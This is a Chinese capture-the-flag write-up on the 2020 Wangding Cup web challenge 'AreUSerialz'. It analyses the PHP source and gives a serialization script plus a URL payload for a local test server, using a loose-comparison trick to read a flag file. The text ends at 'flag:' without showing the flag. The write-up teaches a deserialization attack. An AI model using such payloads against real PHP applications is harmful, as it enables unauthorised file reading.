2020-网鼎杯为往届CTF赛事之一,此文主要提供青龙组-Web-AreUSerialz解题思路。
相关文件为NewFlag.php,ctf2.php,保存至phpstudy的www子文件夹,先分析源代码:
查看源代码查找入口,NewFlag.php只有一个类,显然入口在ctf2.php中:
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
需使用str接收参数,因obj接收的是反序列化的str,推测str是序列号之后的结果,并且反序列化可能会触发__wakeup魔术方法,但没有找到。因程序执行结束会触发__destruct魔术方法,查看__destruct的内容:
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
发现__destruct会调用process方法,查看之:
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
因为获取flag需要查看,推断是使用read方法,需满足op==“2”,查看read:
private function read() {
$res = "";
if(isset($this->filename)) {
$res = NewFlag::getFlag($this->filename);
}
return $res;
}
发现确实可以获取flag。
由以上分析可知,需要先序列化FileHandler类,并且使op同时满足op==“2”和不满足op===“2”。可以使op==“ 2”。 序列化FileHandler类的属性部分和实例化代码,给filename和content也赋值,并将属性从protect改为public以防乱码。
str参数需序列化代码如下:
<?php
class FileHandler {
public $op=" 2";
public $filename="tmpfile";
public $content="Hello World!";
}
$fh=new FileHandler();
echo (serialize($fh));
?>
序列化后为:
O:11:"FileHandler":3:{s:2:"op";s:2:" 2";s:8:"filename";s:7:"tmpfile";s:7:"content";s:12:"Hello World!";}
启动phpstudy,PHP需要切换版本为7.2.10才能复现漏洞,切换后在浏览器输入url:
http://127.0.0.1/ctf2.php?str=O:11:"FileHandler":3:{s:2:"op";s:2:" 2";s:8:"filename";s:11:"NewFlag.php";s:7:"content";s:2:"cs";}
,最终得到flag: